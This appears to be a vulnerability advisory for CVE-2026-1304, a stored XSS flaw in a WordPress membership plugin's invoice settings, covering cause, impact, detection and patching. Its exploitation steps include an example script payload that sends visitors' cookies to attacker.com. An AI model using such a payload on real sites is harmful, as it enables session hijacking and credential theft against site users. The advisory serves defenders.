CVE-2026-1304: 
WordPress vulnerability analysis and mitigation

CVE-2026-1304 is a Stored Cross-Site Scripting (XSS) vulnerability in the Membership Plugin – Restrict Content for WordPress, affecting all versions up to and including 3.2.18. The flaw arises from insufficient input sanitization and output escaping in multiple invoice settings fields, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. Injected scripts execute whenever a user accesses an affected page. It carries a CVSS v3.1 base score of 4.4 (Medium) (Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation – Cross-Site Scripting), stemming from inadequate sanitization of user-supplied input in invoice settings fields and failure to properly escape output when rendering those fields in pages. An authenticated attacker with administrator-level privileges can submit malicious JavaScript payloads through the plugin's invoice configuration interface; these payloads are stored in the database and later reflected to any user who views the affected page. The attack vector is network-based, requires high privileges, high attack complexity, no user interaction, and has a changed scope, meaning the impact can extend beyond the vulnerable component (Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, or unauthorized actions performed on behalf of victims. Because the payload is stored server-side, all users who access the injected page are at risk, including lower-privileged users and site visitors. Confidentiality and integrity impacts are rated low, with no direct availability impact (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been identified for CVE-2026-1304 at this time. The vulnerability requires administrator-level authentication, significantly limiting the attacker pool. The EPSS score is approximately 0.051%, indicating a low probability of exploitation in the near term. It is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE).

1. Authentication: Log in to the WordPress site with an account that has administrator-level privileges or higher.
2. Navigate to invoice settings: Access the Restrict Content plugin's invoice configuration panel within the WordPress admin dashboard.
3. Inject malicious payload: Enter a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one or more of the vulnerable invoice settings fields.
4. Save the configuration: Submit the form to store the malicious payload in the WordPress database.
5. Trigger execution: When any user (including lower-privileged users or visitors) navigates to a page that renders the injected invoice settings, the stored script executes in their browser, enabling session hijacking, credential theft, or other client-side attacks (Red Hat CVE).

• Logs: WordPress admin audit logs showing unexpected modifications to Restrict Content plugin invoice settings fields, particularly by accounts not typically performing such changes.
• Database: Presence of <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded script content (e.g., <script>) in the wp_options or related Restrict Content plugin database tables storing invoice configuration.
• Network: Outbound requests from victim browsers to unfamiliar external domains shortly after accessing pages that render invoice settings, potentially indicating data exfiltration via XSS.
• File System: Unexpected changes to plugin configuration files or the presence of injected content in cached page files related to the Restrict Content plugin.

Users should update the Membership Plugin – Restrict Content for WordPress to a version beyond 3.2.18 that includes the fix for this vulnerability. Until a patch is applied, administrators should restrict access to the plugin's invoice settings to the minimum necessary accounts and audit existing invoice configuration fields for unexpected script content. Implementing a Web Application Firewall (WAF) with XSS filtering rules can provide an additional layer of defense (Red Hat CVE).